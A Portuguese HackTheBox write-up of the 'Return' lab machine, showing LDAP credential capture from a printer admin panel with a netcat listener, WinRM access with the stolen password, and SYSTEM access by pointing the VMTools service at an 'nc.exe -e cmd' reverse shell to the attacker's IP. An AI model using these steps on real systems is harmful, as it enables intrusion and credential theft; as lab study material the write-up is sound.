> For the complete documentation index, see [llms.txt](https://brunosergio.gitbook.io/ctfs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/return.md).

# Return

## Summary <a href="#reconhecimento-de-rede" id="reconhecimento-de-rede"></a>

Máquina Windows de dificuldade fácil do HackTheBox onde a exploração began com a enumeração do serviço HTTP na porta 80, que revelou um painel de administração de impressora. A configuração de autenticação LDAP exposta no painel permitiu o furto de credenciais do usuário `svc-printer` através do abuso do protocolo LDAP. Com as credenciais válidas, o acesso remoto foi obtido via WinRM. A escalação de privilégios foi alcançada abusando do grupo `Server Operators`, que possui permissões para manipular serviços Windows. O serviço `VMTools` foi configurado para executar um payload malicioso que proporcionou uma shell como `nt authority\system`.

### MITRE Kill Chain

{% stepper %}
{% step %}

#### Reconnaissance

A varredura de portas revelou serviços típicos de um host Windows, incluindo HTTP (80), SMB (445), LDAP (389) e WinRM (5985).
{% endstep %}

{% step %}

#### Initial Access

O painel de administração de impressora expôs credenciais LDAP. A manipulação do servidor LDAP permitiu capturar a credencial de `svc-printer`.
{% endstep %}

{% step %}

#### Execution

As credenciais válidas foram utilizadas para estabelecer uma sessão WinRM remota no alvo.
{% endstep %}

{% step %}

#### Privilege Escalation

O grupo `Server Operators` concedeu permissões para manipular serviços. O serviço `VMTools` foi configurado para executar um payload malicioso, obtendo acesso como `nt authority\system`.
{% endstep %}
{% endstepper %}

***

## Reconnaissance

\#attack/T1595 #attack/T1046

### Host Discovery

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando `ping`. Ao enviar um pacote ICMP, é possível confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.

<pre class="language-shell"><code class="lang-shell">attacker> ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
<strong>64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=176 ms
</strong>
--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 176.077/176.077/176.077/0.000 ms
</code></pre>

### Port Scanning

\#attack/T1046

Em seguida, uma varredura de portas foi executada no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. A ferramenta `rustscan` foi utilizada para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.

```shell
attacker> rustscan -a 10.10.11.108 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-10-22 22:50:42Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49214/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49682/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-10-22T22:51:40
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 42913/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 31931/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26260/udp): CLEAN (Failed to receive data)
|   Check 4 (port 45553/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 18m45s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

Como há muitas portas abertas, a ferramenta `nmap-bootstrap` foi utilizada para transformar a saída XML do `nmap` em um arquivo HTML com visual melhorado.

```shell
attacker> xsltproc -o nmap.html /opt/tools/nmap-bootstrap-xsl/nmap-bootstrap.xsl nmap.xml
```

![](/files/7febw955zgaZtW4CjvgQ)

***

## Web Enumeration

\#attack/T1593 #attack/T1592

Em seguida, o serviço HTTP foi enumerado utilizando a ferramenta `whatweb` para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".

```shell
attacker> whatweb 10.10.11.108 -v | tee whatweb.txt
WhatWeb report for http://10.10.11.108
Status    : 200 OK
Title     : HTB Printer Admin Panel
IP        : 10.10.11.108
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.4.13], Script, X-Powered-By[PHP/7.4.13]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Content-Type: text/html; charset=UTF-8
        Server: Microsoft-IIS/10.0
        X-Powered-By: PHP/7.4.13
        Date: Sat, 22 Oct 2022 23:03:04 GMT
        Connection: close
        Content-Length: 28274
```

Após acessar o painel de administração de impressora, na guia `Settings` havia uma configuração de autenticação no servidor `printer.return.local`, porta 389 (LDAP), com o nome de usuário `svc-printer` e sem a exibição da senha.

![](/files/d7cWHf1aR75TZACY02MJ)

### Printer Abuse

\#attack/T1552 #attack/T1003

A autenticação LDAP fraca encontrada no painel de configurações pode ser explorada alterando o "Server Address" para o IP da máquina atacante e configurando um listener para capturar as credenciais durante a autenticação.

![](/files/JsaVCEqTWlZmS1f7P0NR)

Um listener `netcat` foi configurado na porta 389 para capturar a autenticação quando o botão "Update" fosse clicado no servidor web.

<pre class="language-shell"><code class="lang-shell">attacker> nc -nlvp 389
Listening on 0.0.0.0 389
Connection received on 10.10.11.108 51940
0*`%return\svc-printer�
<strong>                       1edFg43012!!
</strong></code></pre>

{% hint style="warning" %}

#### Credencial descoberta

* **Usuário:** `svc-printer`
* **Senha:** `1edFg43012!!`
  {% endhint %}

A ferramenta `crackmapexec` foi utilizada para validar a credencial descoberta. O retorno `[+]` confirma que a credencial é válida para autenticação SMB.

```shell
attacker> crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!!
```

A porta 5985 (WinRM) do alvo também estava aberta. Ao testar as credenciais contra o serviço WinRM, o retorno `(Pwn3d!)` indica que este usuário faz parte do grupo `Remote Management Users`, permitindo acesso remoto ao host através do serviço WinRM.

```shell
attacker> crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
```

{% hint style="danger" %}

#### Finding: LDAP Credential Theft via Printer Admin Panel

* **Affected Asset:** `http://10.10.11.108` (Porta 80 - Printer Admin Panel)
* **Severity:** High
* **Vulnerability Type:** Insecure Authentication Configuration / Cleartext Credential Storage

Reproduction Steps:

{% stepper %}
{% step %}
Acessar o painel de administração em <http://10.10.11.108>
{% endstep %}

{% step %}
Navegar até a guia "Settings"
{% endstep %}

{% step %}
Configurar um listener na porta 389: `nc -nlvp 389`
{% endstep %}

{% step %}
Alterar o campo "Server Address" para o IP do atacante e clicar em "Update"
{% endstep %}

{% step %}
Capturar a credencial no listener
{% endstep %}
{% endstepper %}

**Remediation:** Não armazenar credenciais em painéis administrativos sem autenticação. Utilizar autenticação forte e criptografia para credenciais LDAP. Restringir acesso à interface de administração.
{% endhint %}

***

## Gaining Access

\#attack/T1078 #attack/T1021

Com as credenciais válidas de `svc-printer` obtidas e confirmadas através do serviço WinRM, o próximo passo foi estabelecer uma sessão remota no alvo utilizando a ferramenta `evil-winrm`.

```shell
attacker> evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
```

Uma vez logado, a navegação até o `Desktop` do usuário `svc-printer` revelou a flag `user.txt`.

```shell
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
c75ebbf58af22862bec54ef89e3ef6ba
```

{% hint style="success" %}
Flag de usuário capturada: `c75ebbf58af22862bec54ef89e3ef6ba`
{% endhint %}

***

## Privilege Escalation

\#attack/T1068

A próxima etapa foi procurar maneiras de escalar privilégios para `Administrator`. O comando `whoami /groups` revelou que o usuário `svc-printer` fazia parte do grupo `Server Operators`. Este grupo tem permissões para **iniciar e parar serviços** no sistema, o que pode ser abusado para escalar privilégios.

<pre class="language-shell"><code class="lang-shell">*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
<strong>BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
</strong>BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
</code></pre>

### Escalation via Server Operators Group

\#attack/T1543 #attack/T1021

O abuso do grupo `Server Operators` requer a transferência de um executável `netcat` para o alvo. Este executável será utilizado para estabelecer uma reverse shell como `Administrator` quando o serviço for manipulado.

```shell
*Evil-WinRM* PS C:\Windows\Temp> upload nc.exe
Info: Uploading nc.exe to C:\Windows\Temp\nc.exe


Data: 37544 bytes of 37544 bytes copied

Info: Upload successful!
```

Após a transferência, os serviços presentes no alvo foram listados para identificar um candidato suitable para manipulação.

```
*Evil-WinRM* PS C:\Windows\Temp> services

Path                                                                                                                 Privileges Service
----                                                                                                                 ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc
```

A ferramenta `sc.exe` foi utilizada para configurar o serviço `VMTools` com um comando malicioso que executa uma reverse shell para a máquina atacante.

```shell
*Evil-WinRM* PS C:\Windows\Temp> sc.exe config VMTools binPath="C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443"
[SC] ChangeServiceConfig SUCCESS
```

O serviço foi parado para permitir a reinicialização com a nova configuração.

```shell
*Evil-WinRM* PS C:\Windows\Temp> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0 (0x0)
        SERVICE_EXIT_CODE  : 0 (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

Um listener `netcat` foi configurado na máquina atacante antes de iniciar o serviço.

```shell
attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
```

O serviço `VMTools` foi iniciado, executando o comando malicioso configurado (`C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443`), que estabeleceu uma reverse shell privilegiada.

```shell
*Evil-WinRM* PS C:\Windows\Temp> sc.exe start VMTools
```

A partir da máquina atacante, a conexão foi recebida e uma shell como `nt authority\system` foi obtida.

```shell
attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.11.108] 63706
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system
```

A flag `root.txt` foi localizada no `Desktop` do `Administrator` e lida para concluir o objetivo do CTF.

```shell
 Directory of C:\Users\Administrator\Desktop

09/27/2021  04:22 AM    <DIR>          .
09/27/2021  04:22 AM    <DIR>          .
10/22/2022  03:40 PM                34 root.txt
                1 File(s)             34 bytes
                2 Dir(s)   8,825,159,680 bytes free

type root.txt
type root.txt
c380efd2b68deff3cc07ff9780b0ba9d
```

{% hint style="success" %}
Escalação de privilégios bem-sucedida. Comprometimento total do sistema alcançado.
{% endhint %}

![PWNED](/files/IVSPGVnmbAZFYzffeCa1)
